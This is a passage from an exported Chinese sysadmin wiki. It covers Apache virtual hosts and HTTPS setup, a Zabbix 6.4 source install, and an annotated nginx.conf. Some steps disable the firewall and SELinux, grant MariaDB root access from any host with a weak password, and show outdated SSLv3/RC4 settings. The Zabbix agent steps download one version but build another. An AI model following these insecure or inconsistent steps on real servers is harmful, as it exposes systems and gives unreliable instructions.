and, or, not 来组合多个条件.例如:Require ip 192.168.0.1 and user admin 表示仅允许来自 192.168.0.1 的用户 admin 访问资源. # 重启服务systemctl restart httpd.service Apache的虚拟主机配置 虚拟主机(Virtual Host)是一种在单个物理服务器上托管多个域名或网站的技术.通过虚拟主机,可以将一个物理服务器划分为多个逻辑的虚拟服务器,每个虚拟服务器都可以拥有自己独立的域名、网站和配置. 虚拟主机常见的应用场景包括: 共享主机服务:虚拟主机允许多个用户共享同一台物理服务器,并在各自的虚拟主机中托管自己的网站.这种方式非常适合小型网站、个人博客和中小型企业,因为可以降低成本并提供基本的托管功能. 多域名托管:虚拟主机可以让你在同一台服务器上托管多个域名.这意味着你可以拥有多个网站,并通过虚拟主机将它们隔离开来.每个虚拟主机可以具有独立的域名、独立的文件夹和独立的配置,使得不同网站之间相互独立且互不干扰. 子域名管理:虚拟主机可以用于在同一域名下创建多个子域名,并为每个子域名分配独立的虚拟主机.这对于大型网站或企业来说很有用,因为它们可以将不同的功能或服务划分到不同的子域名下,便于管理和维护. 测试和开发环境:虚拟主机提供了一个方便的方式来创建测试和开发环境.你可以在同一台服务器上创建一个虚拟主机,用于开发和测试你的网站或应用程序,而不会影响生产环境. 总之,虚拟主机是一种有效的方式来提供共享主机服务、多域名托管、子域名管理和测试/开发环境.它允许在单个物理服务器上运行多个独立且隔离的网站,从而提供更高的灵活性和资源利用率. 基于域名 域名 IP www.kgc.com 192.168.226.133 www.kcce.com 192.168.226.133 为虚拟主机提供域名解析123vim /etc/hosts# 文件末尾加入127.0.0.1 www.kgc.com www.kcce.com 为虚拟主机准备网页文档123mkdir -p /var/www/html/kgccom /var/www/html/kccecomecho " www.kgc.com" > /var/www/html/kgccom/index.htmlecho " www.kcce.com " > /var/www/html/kccecom/index.html 添加虚拟主机配置123456789101112131415161718192021vim /etc/httpd/conf.d/httpd-vhosts.conf<VirtualHost *:80> DocumentRoot "/var/www/html/kgccom" ServerName www.kgc.com ErrorLog "logs/www.kgc.com.error_log" CustomLog "logs/www.kgc.com.access_log" common <Directory "/var/www/html/kgccom"> Require all granted </Directory></VirtualHost><VirtualHost *:80> DocumentRoot "/var/www/html/kccecom" ServerName www.kcce.com ErrorLog "logs/www.kcce.com.error_log" CustomLog "logs/www.kcce.com.access_log" common <Directory "/var/www/html/kccecom"> Require all granted </Directory></VirtualHost> 重启Apache服务systemctl restart httpd.service 基于端口基于实验一修改配置文件123456789101112131415161718192021222324252627282930vim /etc/httpd/conf/httpd.conf# /Listen查到到监听端口位置listen 5050listen 8080vim /etc/httpd/conf.d/httpd-vhosts.conf <VirtualHost *:5050> DocumentRoot "/var/www/html/kgccom" ServerName www.kcce.com ErrorLog "logs/www.kgc.com.error_log" CustomLog "logs/www.kgc.com.access_log" common <Directory "/var/www/html"> Require all granted </Directory></VirtualHost><VirtualHost *:8080> DocumentRoot "/var/www/html/kccecom" ServerName www.kcce.com ErrorLog "logs/www.kcce.com.error_log" CustomLog "logs/www.kcce.com.access_log" common <Directory "/var/www/html/kccecom"> Require all granted </Directory></VirtualHost> systemctl restart httpdnetstat -ntap 基于IP此前我们有两张网卡地址分别为:192.168.226.133和192.168.226.134,此处需要用上. 1234567891011121314151617181920212223242526vim /etc/httpd/conf/httpd.conf# 将 Listen 8080 Listen 5050 改为以下Listen 192.168.226.133:80Listen 192.168.226.134:80vim /etc/httpd/conf.d/httpd-vhosts.conf<VirtualHost 192.168.226.133:80> # 此处将*号修改为第一张网卡的IP DocumentRoot "/var/www/html/kccecom/" ErrorLog "logs/www.accp.com.error_log" CustomLog "logs/www.accp.com.access_log" common <Directory "/var/www/html/"> Require all granted </Directory></VirtualHost><VirtualHost 192.168.226.134:80> # 此处将*号改为第二张网卡的IP,并将下面的accp改 DocumentRoot "/var/www/html/kgccom/" ErrorLog "logs/www.accp02.com.error_log" CustomLog "logs/www.accp02.com.access_log" common <Directory "/var/www/html/"> Require all granted </Directory></VirtualHost> https加密访问 HTTPS和HTTP的区别超文本传输协议HTTP协议被用于在Web浏览器和网站服务器之间传递信息.HTTP协议以明文方式发送内容,不提供任何方式的数据加密如果攻击者截取了Web浏览器和网站服务器之间的传输报文,就可以直接读懂其中的信息,因此HTTP协议不适合传输一些敏感信息,比如信用卡号、密码等为了解决HTTP协议的这一缺陷,需要使用另一种协议:安全套接字层超文本传输协议HTTPS.为了数据传输的安全,HTTPS在HTTP的基础上加入了SSL协议,SSL依靠证书来验证服务器的身份,并为浏览器和服务器之间的通信加密.HTTPS和HTTP的区别主要为以下四点:一、https协议需要到ca申请证书,一般免费证书很少,需要交费.二、http是超文本传输协议,信息是明文传输,https 则是具有安全性的ssl加密传输协议.三、http和https使用的是完全不同的连接方式,用的端口也不一样,前者是80,后者是443.四、http的连接很简单,是无状态的;HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,比http协议安全. Apache服务加密1234567891011121314# 想将我的apache服务加密,安装插件mod_ssl yum install mod_ssl -y # 重启服务systemctl restart httpd# 进入目录cd /etc/httpd/conf.d/ # 可以看到 ssl.conf文件 ls# 防火墙放行端口firewall-cmd --zone=public --add-port=443/tcp --permanentfirewall-cmd --reload# 查看https的端口443是否开启netstat -antlupe | grep httpd # 此时,浏览器输入https://192.168.64.169/会发现:授权本部门没有授权(没有备案),认为不安全,所以警示! SSL配置文件解读123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124# 当我们还提供SSL时,除了要监听HTTP端口外,# 还需监听HTTPS端口.Listen 443 https#### SSL全局上下文#### 所有SSL配置都适用于主服务器和所有启用SSL的虚拟主机.### 密码对话框:# 配置密码收集过程.# 过滤对话程序('builtin' 是内部终端对话框)必须将密码提供给标准输出.SSLPassPhraseDialog exec:/usr/libexec/httpd-ssl-pass-dialog# 进程间会话缓存:# 配置SSL会话缓存:首先是使用的机制,# 其次是到期超时时间(以秒为单位).SSLSessionCache shmcb:/run/httpd/sslcache(512000)SSLSessionCacheTimeout 300# 伪随机数生成器(PRNG):# 配置一个或多个用于初始化SSL库PRNG的种子源.# 种子数据应具有良好的随机质量.# 警告!在某些平台上,如果没有足够的熵可用,则/dev/random会阻塞.# 这意味着您不能使用/dev/random设备,# 因为它会导致非常长的连接时间(与# 提供更多熵所需的时间一样长).但通常这些# 平台还提供了一个不会阻塞的/dev/urandom设备.如果有,请使用此设备.请阅读mod_ssl用户# 手册了解更多详细信息.SSLRandomSeed startup file:/dev/urandom 256SSLRandomSeed connect builtin#SSLRandomSeed startup file:/dev/random 512#SSLRandomSeed connect file:/dev/random 512#SSLRandomSeed connect file:/dev/urandom 512## 使用"SSLCryptoDevice"启用任何支持的硬件# 加速器.使用 "openssl engine -v" 列出支持# 的引擎名称.注意:如果启用加速器,但# 服务器无法启动,请查阅错误日志并确保# 您的加速器正常工作.#SSLCryptoDevice builtin#SSLCryptoDevice ubsec#### SSL虚拟主机上下文##<VirtualHost _default_:443># 从全局配置继承的虚拟主机的常规设置ServerName apache_server.killer.com:443DocumentRoot "/www/html"# 为SSL虚拟主机使用单独的日志文件;注意LogLevel# 不会从httpd.conf继承.ErrorLog logs/ssl_error_logTransferLog logs/ssl_access_logLogLevel warn# SSL引擎开关:# 启用/禁用此虚拟主机的SSL.SSLEngine on# SSL协议支持:# 列出客户端将能够连接的启用的协议级别.# 默认禁用SSLv2访问:SSLProtocol all -SSLv2 -SSLv3# SSL加密套件:# 列出客户端允许协商的加密套件.# 有关完整列表,请参阅mod_ssl文档.SSLCipherSuite HIGH:3DES:!aNULL:!MD5:!SEED:!IDEA# 优化速度的SSL加密套件配置:# 如果速度是您的主要关注点(例如在繁忙的HTTPS服务器上),# 您可能希望强制客户端使用特定的、性能优化的加密套件.在这种情况下,将这些加密套件# 添加到SSLCipherSuite列表的前面,并启用SSLHonorCipherOrder.# 注意:通过提前RC4-SHA和AES128-SHA(如下例中所示),# 大多数连接将不再具有完全前向保密性--如果服务器的密钥被# 破解,过去或未来的流量的捕获也必须被视为已被破解.#SSLCipherSuite RC4-SHA:AES128-SHA:HIGH:MEDIUM:!aNULL:!MD5#SSLHonorCipherOrder on # 服务器证书:# 将SSLCertificateFile指向一个PEM编码的证书.如果# 证书被加密,则会提示您输入密码.# 请注意,kill -HUP命令将再次提示.可以使用genkey(1)命令生成新证书.SSLCertificateFile /etc/pki/tls/certs/apache_server.killer.com.crt# 服务器私钥:# 如果密钥没有与证书合并,请使用此指令指向密钥文件.# 请记住,如果您同时拥有RSA和DSA私钥,# 您可以并行配置两者(以允许使用DSA密码等).SSLCertificateKeyFile /etc/pki/tls/private/apache_server.killer.com.key# 服务器证书链:# 将SSLCertificateChainFile指向一个包含PEM编码的CA证书# 的连接的文件.或者,当CA证书直接附加到服务器# 证书时,引用的文件可以与SSLCertificateFile相同.#SSLCertificateChainFile /etc/pki/tls/certs/server-chain.crt# 证书颁发机构(CA):# 设置CA证书验证路径,以查找CA证书,用于客户端认证,# 或者一个包含所有CA证书的巨大文件(文件必须为PEM编码).#SSLCACertificateFile /etc/pki/tls/certs/ca-bundle.crt# 客户端认证(类型):# 客户端证书验证类型和深度.类型为# none、optional、require和optional_no_ca.深度是指在# 在决定证书无效之前验证证书# 颁发者链的级别.#SSLVerifyClient require#SSLVerifyDepth 10# 访问控制:# 使用SSLRequire可以基于任意复杂的布尔表达式# 包含服务器变量检查和其他查找指令的目录访问控制.# 语法是C和Perl的混合体.有关详 网址重写123456789101112131415161718192021222324252627282930313233# 需求让客户在自己的浏览器中输入http://login.killer.com可以自动跳转到https://login.killer.com# 进入目录cd /etc/httpd/conf.dvim killer.conf<VirtualHost *:80> ServerName login.killer.com RewriteEngine on RewriteRule ^(/.*)$ https://%{HTTP_HOST}$1 [redirect=301]</VirtualHost><VirtualHost *:443> ServerName login.killer.com DocumentRoot /www/html CustomLog logs/login.log combined SSLEngine on SSLCertificateFile /etc/pki/tls/certs/localhost.crt SSLCertificateKeyFile /etc/pki/tls/private/localhost.key</VirtualHost><Directory "/www/html"> Require all granted</Directory># 重启服务,且在本地解析中加入 http://login.killer.com systemctl restart httpd # 输入http://login.killer.com会自动跳转到https://login.killer.com","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"一. Zabbix快速入门","path":"/wiki/MonitoringTechDocs/一. Zabbix快速入门.html","content":"总字符数: 5.33K 代码: 4.72K, 文本: 0.18K 预计阅读时间: 21 分钟 准备工作工作目录/opt1cd /opt 关闭防火墙1234# 关闭防火墙systemctl stop firewalld.service# 禁止开机自启systemctl disable firewalld.service 关闭selinux1234# 打开selinux的配置文件vim /etc/selinux/config# 将第7行的enforcing改为disabledSELINUX=disabled Yum清华源123456sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' \\ -e 's|^#baseurl=http://mirror.centos.org/centos|baseurl=https://mirrors.tuna.tsinghua.edu.cn/centos|g' \\ -i.bak \\ /etc/yum.repos.d/CentOS-*.repo# 生成缓存sudo yum makecache 下载依赖环境1yum install -y deltarpm gcc gcc-c++ unixODBC-devel httpd mysql-devel libcurl libcurl-devel libevent libevent-devel curl-devel libxml2 libxml2-devel net-snmp-devel pcre-devel java-devel openssl-devel perl-ExtUtils-Embed at python subversion gperf make rpm-build git bzip2-devel gd gd-devel t1lib t1lib-devel GeoIP-devel libatomic_ops-devel zlib-devel unzip libstdc++* net-snmp net-snmp* gmp gmp-devel openldap openldap-devel libpcap-devel glib2-devel GeoIP-devel vim wget git libtool make automake mlocate pam-devel unzip screen openssl iptables-services bash-completion* libxslt* curl net-tools libssh2-devel 准备LNMP本博客其他文章有讲到(那篇文章是很久以前写的,现在版本的zabbix对mysql有要求,这里补充以下mysql的安装方法) 安装Mariadb添加阿里云源vim /etc/yum.repos.d/MariaDB.repo 12345678#内容如下# MariaDB 10.1 CentOS repository list - created 2017-02-23 08:53 UTC# http://downloads.mariadb.org/mariadb/repositories/[mariadb]name = MariaDBbaseurl = http://yum.mariadb.org/10.8/centos7-amd64gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDBgpgcheck=1 下载mariadbyum install -y MariaDB-server MariaDB-client 12345678910111213#启动 Mariadbsystemctl start mariadb#设为开机自启systemctl enable mariadb#Mariadb 初始化mysql -urootuse mysqlgrant all privileges on *.* to 'root'@'%' identified by '123456qwer';# mysql rootzabbix为:123456qwerdelete from mysql.user where User='';FLUSH PRIVILEGES;# 重启数据库systemctl restart mariadb 安装Zabbixhttps://www.zabbix.com/downloadhttps://www.zabbix.com/download 下载zabbix-server123456789101112131415161718192021222324252627# 进入到opt目录cd /opt# 下载二进制包wget https://cdn.zabbix.com/zabbix/sources/stable/6.4/zabbix-6.4.5.tar.gz# 解压tar -zxvf zabbix-6.4.5.tar.gz# 进入到zabbix目录cd zabbix-6.4.5/# 编译安装./configure --prefix=/usr/local/zabbix/zabbix-server --enable-server --enable-agent --with-mysql --with-net-snmp --with-libcurl --with-libxml2 --with-unixodbc --enable-java && make CFLAGS=-std=gnu99 && make install# 参数说明--prefix #编译安装路径--enable-server #启动server端--enable-agent #启动agent端--with-mysql #编译连接mysql相关依赖包--with-net-snmp #启动snmp相关,用于snmp监控设备--with-libcurl #启动curl相关--with-libxml2 #启动xml相关--with-unixodbc #启动odbc相关用于监控数据库--enable-java #启动java-agent 用于监控java类# 设置环境变量vim /etc/profileexport PATH=$PATH:/usr/local/zabbix/zabbix-server/sbin/:/usr/local/zabbix/zabbix-server/bin/source /etc/profile 创建zabbix数据库123456789101112131415161718192021222324-- mariadbmysql -uroot -p-- 创建用户-- CREATE USER '用户名'@'localhost' IDENTIFIED BY '密码';CREATE USER 'zabbix'@'localhost' IDENTIFIED BY 'zabbix';-- 创建数据库zabbix-- CREATE DATABASE `数据库名` CHARACTER SET utf8 COLLATE utf8_bin;CREATE DATABASE `zabbix` CHARACTER SET utf8 COLLATE utf8_bin;-- 赋予权限-- grant all privileges on 数据库名.*to 用户名@'localhost' identified by '密码';grant all privileges on zabbix.*to zabbix@'localhost' identified by 'zabbix';-- 刷新权限flush privileges;-- 设置编码set names utf8;exit-- 创建完导入zabbix 初始化数据-- 如果databases下面的*.sql有缺失,可以重新解压mysql -uzabbix -pzabbix zabbix < /opt/zabbix-6.4.5/database/mysql/schema.sql -- 表结构mysql -uzabbix -pzabbix zabbix < /opt/zabbix-6.4.5/database/mysql/images.sql -- 图片相关数据mysql -uzabbix -pzabbix zabbix < /opt/zabbix-6.4.5/database/mysql/data.sql -- 模版相关数据 Centos准备1234567891011121314151617181920212223242526272829303132# 创建用户useradd zabbixpasswd zabbix# 赋予权限chown -R zabbix:zabbix /usr/local/zabbix/zabbix-server/# 修改zabbix-server的配置文件vim /usr/local/zabbix/zabbix-server/etc/zabbix_server.conf# 找到对应的属性修改#数据库地址DBHost=localhost#数据库名DBName=zabbix#数据库用户名DBUser=zabbix#数据库密码DBPassword=zabbix#数据库端口DBPort=3306Timeout=30AlertScriptsPath=/usr/local/zabbix/zabbix-server/share/zabbix/alertscriptsExternalScripts=/usr/local/zabbix/zabbix-server/share/zabbix/externalscriptszabbix_server# 检查端口ps auxf |grep zabbix_servernetstat -tulnp |grep zabbix# 清空html下的文件并剪切rm -rf /usr/local/nginx/nginx/html/*cp -a /opt/zabbix-6.4.5/ui/* /usr/local/nginx/nginx/html/ 1234567891011121314# php.ini调整vim /etc/opt/remi/php74/php.inipost_max_size = 16Mmax_execution_time = 300max_input_time = 300date.timezone = Asia/Shanghai#启动相关项目systemctl restart php74-php-fpm.service##Zabbix默认用户名密码Adminzabbix zabbix客户端安装12345678910111213141516171819202122# 创建用户useradd zabbix# 下载Zabbix_agent安装包wget https://cdn.zabbix.com/zabbix/binaries/stable/6.0/6.0.3/zabbix_agent-6.0.3-linux-4.12-ppc64le-static.tar.gz# 解压tar -zxvf zabbix-3.4.15.tar.gz# 进入目录cd zabbix-3.4.15/# 编译zabbix agent./configure --prefix=/usr/local/zabbix_agent --enable-agent# 安装make && make install# 修改配置文件vim /usr/local/zabbix_agent/etc/zabbix_agentd.confServer=服务端ip地址或域名ServerActive=服务端ip地址或域名Hostname=客户端主机名HostMetadata=自动注册的关键字# 启动/usr/local/zabbix_agent/sbin/zabbix_agentd","tags":[null,null,null,null]},{"title":"二. Nginx 配置文件详解","path":"/wiki/MiddlewareDocs/二. Nginx 配置文件详解.html","content":"总字符数: 33.74K 代码: 21.74K, 文本: 8.64K 预计阅读时间: 2.20 小时 Nginx 配置 Nginx 的默认配置文件为 nginx.conf. nginx -c xxx.conf - 以指定的文件作为配置文件,启动 Nginx. 配置文件实例以下为一个 nginx.conf 配置文件实例: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185#定义 nginx 运行的用户和用户组user www;#nginx 进程数,建议设置为等于 CPU 总核心数.worker_processes 8;#nginx 默认没有开启利用多核 CPU, 通过增加 worker_cpu_affinity 配置参数来充分利用多核 CPU 以下是 8 核的配置参数worker_cpu_affinity 00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000;#全局错误日志定义类型,[ debug | info | notice | warn | error | crit ]error_log /var/log/nginx/error.log info;#进程文件pid /var/run/nginx.pid;#一个 nginx 进程打开的最多文件描述符数目,理论值应该是最多打开文件数(系统的值 ulimit -n)与 nginx 进程数相除,但是 nginx 分配请求并不均匀,所以建议与 ulimit -n 的值保持一致.worker_rlimit_nofile 65535;#工作模式与连接数上限events{ #参考事件模型,use [ kqueue | rtsig | epoll | /dev/poll | select | poll ]; epoll 模型是 Linux 2.6 以上版本内核中的高性能网络 I/O 模型,如果跑在 FreeBSD 上面,就用 kqueue 模型. #epoll 是多路复用 IO(I/O Multiplexing) 中的一种方式,但是仅用于 linux2.6 以上内核,可以大大提高 nginx 的性能 use epoll; #单个后台 worker process 进程的最大并发链接数 #事件模块指令,定义 nginx 每个进程最大连接数,默认 1024.最大客户连接数由 worker_processes 和 worker_connections 决定 #即 max_client=worker_processes*worker_connections, 在作为反向代理时:max_client=worker_processes*worker_connections / 4 worker_connections 65535;}#设定 http 服务器http { include mime.types; #文件扩展名与文件类型映射表 default_type application/octet-stream; #默认文件类型 charset utf-8; #默认编码 server_names_hash_bucket_size 128; #服务器名字的 hash 表大小 client_header_buffer_size 32k; #上传文件大小限制 large_client_header_buffers 4 64k; #设定请求缓 client_max_body_size 8m; #设定请求缓 sendfile on; #开启高效文件传输模式,sendfile 指令指定 nginx 是否调用 sendfile 函数来输出文件,对于普通应用设为 on,如果用来进行下载等应用磁盘 IO 重负载应用,可设置为 off,以平衡磁盘与网络 I/O 处理速度,降低系统的负载.注意:如果图片显示不正常把这个改成 off. autoindex on; #开启目录列表访问,合适下载服务器,默认关闭. tcp_nopush on; #防止网络阻塞 tcp_nodelay on; #防止网络阻塞 ##连接客户端超时时间各种参数设置## keepalive_timeout 120; #单位是秒,客户端连接时时间,超时之后服务器端自动关闭该连接 如果 nginx 守护进程在这个等待的时间里,一直没有收到浏览发过来 http 请求,则关闭这个 http 连接 client_header_timeout 10; #客户端请求头的超时时间 client_body_timeout 10; #客户端请求主体超时时间 reset_timedout_connection on; #告诉 nginx 关闭不响应的客户端连接.这将会释放那个客户端所占有的内存空间 send_timeout 10; #客户端响应超时时间,在两次客户端读取操作之间.如果在这段时间内,客户端没有读取任何数据,nginx 就会关闭连接 #FastCGI 相关参数是为了改善网站的性能:减少资源占用,提高访问速度.下面参数看字面意思都能理解. fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; fastcgi_buffer_size 64k; fastcgi_buffers 4 64k; fastcgi_busy_buffers_size 128k; fastcgi_temp_file_write_size 128k; ###作为代理缓存服务器设置####### ###先写到 temp 再移动到 cache #proxy_cache_path /var/tmp/nginx/proxy_cache levels=1:2 keys_zone=cache_one:512m inactive=10m max_size=64m; ###以上 proxy_temp 和 proxy_cache 需要在同一个分区中 ###levels=1:2 表示缓存级别,表示缓存目录的第一级目录是 1 个字符,第二级目录是 2 个字符 keys_zone=cache_one:128m 缓存空间起名为 cache_one 大小为 512m ###max_size=64m 表示单个文件超过 128m 就不缓存了 inactive=10m 表示缓存的数据,10 分钟内没有被访问过就删除 #########end#################### #####对传输文件压缩########### #gzip 模块设置 gzip on; #开启 gzip 压缩输出 gzip_min_length 1k; #最小压缩文件大小 gzip_buffers 4 16k; #压缩缓冲区 gzip_http_version 1.0; #压缩版本(默认 1.1,前端如果是 squid2.5 请使用 1.0) gzip_comp_level 2; #压缩等级,gzip 压缩比,1 为最小,处理最快;9 为压缩比最大,处理最慢,传输速度最快,也最消耗 CPU; gzip_types text/plain application/x-javascript text/css application/xml; #压缩类型,默认就已经包含 text/html,所以下面就不用再写了,写上去也不会有问题,但是会有一个 warn. gzip_vary on; ############################## #limit_zone crawler $binary_remote_addr 10m; #开启限制 IP 连接数的时候需要使用 upstream blog.ha97.com { #upstream 的负载均衡,weight 是权重,可以根据机器配置定义权重.weigth 参数表示权值,权值越高被分配到的几率越大. server 192.168.80.121:80 weight=3; server 192.168.80.122:80 weight=2; server 192.168.80.123:80 weight=3; } #虚拟主机的配置 server { #监听端口 listen 80; #############https################## #listen 443 ssl; #ssl_certificate /opt/https/xxxxxx.crt; #ssl_certificate_key /opt/https/xxxxxx.key; #ssl_protocols SSLv3 TLSv1; #ssl_ciphers HIGH:!ADH:!EXPORT57:RC4+RSA:+MEDIUM; #ssl_prefer_server_ciphers on; #ssl_session_cache shared:SSL:2m; #ssl_session_timeout 5m; ####################################end #域名可以有多个,用空格隔开 server_name www.ha97.com ha97.com; index index.html index.htm index.php; root /data/www/ha97; location ~ .*.(php|php5)?$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi.conf; } #图片缓存时间设置 location ~ .*.(gif|jpg|jpeg|png|bmp|swf)$ { expires 10d; } #JS 和 CSS 缓存时间设置 location ~ .*.(js|css)?$ { expires 1h; } #日志格式设定 log_format access '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" $http_x_forwarded_for'; #定义本虚拟主机的访问日志 access_log /var/log/nginx/ha97access.log access; #对 "/" 启用反向代理 location / { proxy_pass http://127.0.0.1:88; proxy_redirect off; proxy_set_header X-Real-IP $remote_addr; #后端的 Web 服务器可以通过 X-Forwarded-For 获取用户真实 IP proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; #以下是一些反向代理的配置,可选. proxy_set_header Host $host; client_max_body_size 10m; #允许客户端请求的最大单文件字节数 client_body_buffer_size 128k; #缓冲区代理缓冲用户端请求的最大字节数, ##代理设置 以下设置是 nginx 和后端服务器之间通讯的设置## proxy_connect_timeout 90; #nginx 跟后端服务器连接超时时间(代理连接超时) proxy_send_timeout 90; #后端服务器数据回传时间(代理发送超时) proxy_read_timeout 90; #连接成功后,后端服务器响应时间(代理接收超时) proxy_buffering on; #该指令开启从后端被代理服务器的响应内容缓冲 此参数开启后 proxy_buffers 和 proxy_busy_buffers_size 参数才会起作用 proxy_buffer_size 4k; #设置代理服务器(nginx)保存用户头信息的缓冲区大小 proxy_buffers 4 32k; #proxy_buffers 缓冲区,网页平均在 32k 以下的设置 proxy_busy_buffers_size 64k; #高负荷下缓冲大小(proxy_buffers*2) proxy_max_temp_file_size 2048m; #默认 1024m, 该指令用于设置当网页内容大于 proxy_buffers 时,临时文件大小的最大值.如果文件大于这个值,它将从 upstream 服务器同步地传递请求,而不是缓冲到磁盘 proxy_temp_file_write_size 512k; 这是当被代理服务器的响应过大时 nginx 一次性写入临时文件的数据量. proxy_temp_path /var/tmp/nginx/proxy_temp; ##定义缓冲存储目录,之前必须要先手动创建此目录 proxy_headers_hash_max_size 51200; proxy_headers_hash_bucket_size 6400; } #设定查看 nginx 状态的地址 location /nginxStatus { stub_status on; access_log on; auth_basic "nginxStatus"; auth_basic_user_file conf/htpasswd; #htpasswd 文件的内容可以用 apache 提供的 htpasswd 工具来产生. } #本地动静分离反向代理配置 #所有 jsp 的页面均交由 tomcat 或 resin 处理 location ~ .(jsp|jspx|do)?$ { proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_pass http://127.0.0.1:8080; } #所有静态文件由 nginx 直接读取不经过 tomcat 或 resin location ~ .*.(htm|html|gif|jpg|jpeg|png|bmp|swf|ioc|rar|zip|txt|flv|mid|doc|ppt|pdf|xls|mp3|wma)$ { expires 15d; } location ~ .*.(js|css)?$ { expires 1h; } }} 基本规则管理 Nginx 配置 随着 Nginx 配置的增长,您有必要组织、管理配置内容. 当您的 Nginx 配置增加时,组织配置的需求也会增加. 井井有条的代码是: 易于理解 易于维护 易于使用 使用 include 指令可将常用服务器配置移动到单独的文件中,并将特定代码附加到全局配置,上下文等中. 我总是尝试在配置树的根目录中保留多个目录. 这些目录存储所有附加到主文件的配置文件. 我更喜欢以下结构: html - 用于默认静态文件,例如 全局 5xx 错误页面 master - 用于主要配置,例如 ACL,侦听指令和域 _acls - 用于访问控制列表,例如 地理或地图模块 _basic - 用于速率限制规则,重定向映射或代理参数 _listen - 用于所有侦听指令; 还存储 SSL 配置 _server - 用于域(localhost)配置; 还存储所有后端定义 modules - 用于动态加载到 Nginx 中的模块 snippets - 用于 Nginx 别名,配置模板 如果有必要,我会将其中一些附加到具有 server 指令的文件中. 示例: 123456789101112131415## Store this configuration in https.conf for example:listen 10.240.20.2:443 ssl;ssl_certificate /etc/nginx/master/_server/example.com/certs/nginx_example.com_bundle.crt;ssl_certificate_key /etc/nginx/master/_server/example.com/certs/example.com.key;## Include this file to the server section:server { include /etc/nginx/master/_listen/10.240.20.2/https.conf; ## And other: include /etc/nginx/master/_static/errors.conf; include /etc/nginx/master/_server/_helpers/global.conf; ... server_name domain.com www.domain.com; ... 重加载 Nginx 配置示例: 12345678910111213141516171819## 1)systemctl reload nginx## 2)service nginx reload## 3)/etc/init.d/nginx reload## 4)/usr/sbin/nginx -s reload## 5)kill -HUP $(cat /var/run/nginx.pid)## orkill -HUP $(pgrep -f "nginx: master")## 6)/usr/sbin/nginx -g 'daemon on; master_process on;' -s reload 监听 80 和 443 端口 如果您使用完全相同的配置为 HTTP 和 HTTPS 提供服务(单个服务器同时处理 HTTP 和 HTTPS 请求),Nginx 足够智能,可以忽略通过端口 80 加载的 SSL 指令. Nginx 的最佳实践是使用单独的服务器进行这样的重定向(不与您的主要配置的服务器共享),对所有内容进行硬编码,并且完全不使用正则表达式. 我不喜欢复制规则,但是单独的监听指令无疑可以帮助您维护和修改配置. 如果将多个域固定到一个 IP 地址,则很有用. 这使您可以将一个侦听指令(例如,如果将其保留在配置文件中)附加到多个域配置. 如果您使用的是 HTTPS,则可能还需要对域进行硬编码,因为您必须预先知道要提供的证书. 示例: 1234567891011## For HTTP:server { listen 10.240.20.2:80; ...}## For HTTPS:server { listen 10.240.20.2:443 ssl; ...} 显示指定监听的地址和端口Nginx 的 listen 指令用于监听指定的 IP 地址和端口号,配置形式为:listen <address>:<port>.若 IP 地址或端口缺失,Nginx 会以默认值来替换. 而且,仅当需要区分与 listen 指令中的同一级别匹配的服务器块时,才会评估 server_name 指令. 示例: 12345678910server { ## This block will be processed: listen 192.168.252.10; ## --> 192.168.252.10:80 ...}server { listen 80; ## --> *:80 --> 0.0.0.0:80 server_name api.random.com; ...} 防止使用未定义的服务器名称处理请求 Nginx 应该阻止使用未定义的服务器名称(也使用 IP 地址)处理请求.它可以防止配置错误,例如流量转发到不正确的后端.通过创建默认虚拟虚拟主机可以轻松解决该问题,该虚拟虚拟主机可以捕获带有无法识别的主机标头的所有请求. 如果没有一个 listen 指令具有 default_server 参数,则具有 address:port 对的第一台服务器将是该对的默认服务器(这意味着 Nginx 始终具有默认服务器). 如果有人使用 IP 地址而不是服务器名称发出请求,则主机请求标头字段将包含 IP 地址,并且可以使用 IP 地址作为服务器名称来处理请求. 在现代版本的 Nginx 中,不需要服务器名称_.如果找不到具有匹配的 listen 和 server_name 的服务器,Nginx 将使用默认服务器.如果您的配置分散在多个文件中,则评估顺序将不明确,因此您需要显式标记默认服务器. Nginx 使用 Host 标头进行 server_name 匹配.它不使用 TLS SNI.这意味着对于 SSL 服务器,Nginx 必须能够接受 SSL 连接,这归结为具有证书/密钥.证书/密钥可以是任意值,例如自签名. 示例: 12345678910111213141516171819202122232425262728293031323334# 将其放置在配置文件的开始位置以避免错误server { # 对于ssl选项,请记得填写SSL参数(私钥、证书、加密套件等) # 在你想要作为默认服务器的服务器listen指令中添加default_server listen 10.240.20.2:443 default_server ssl; # 我们捕获: # - 无效的域名 # - 没有"Host"头的请求 # - 以及所有其他的请求(也是因为上面的设置) # - server_name指令中不要求使用default_server - 我添加这个是为了更好地理解,我认为这是一个不成文的标准 # ...但是你应该知道,这实际上是无关紧要的,你可以在这里放任何东西. server_name _ "" default_server; ... return 444; # 我们也可以提供服务: # location / { # # 静态文件(错误页面): # # root /etc/nginx/error-pages/404; # # 或重定向: # # return 301 https://badssl.com; # # return 444; # }}server { listen 10.240.20.2:443 ssl; server_name domain.com; ...}server { listen 10.240.20.2:443 ssl; server_name domain.org; ...} 不要在 listen 或 upstream 中使用 hostname 通常,在 listen 或上游指令中使用主机名是一种不好的做法. 在最坏的情况下,Nginx 将无法绑定到所需的 TCP 套接字,这将完全阻止 Nginx 启动. 最好和更安全的方法是知道需要绑定的 IP 地址,并使用该地址代替主机名. 这也可以防止 Nginx 查找地址并消除对外部和内部解析器的依赖. 在 server_name 指令中使用$ 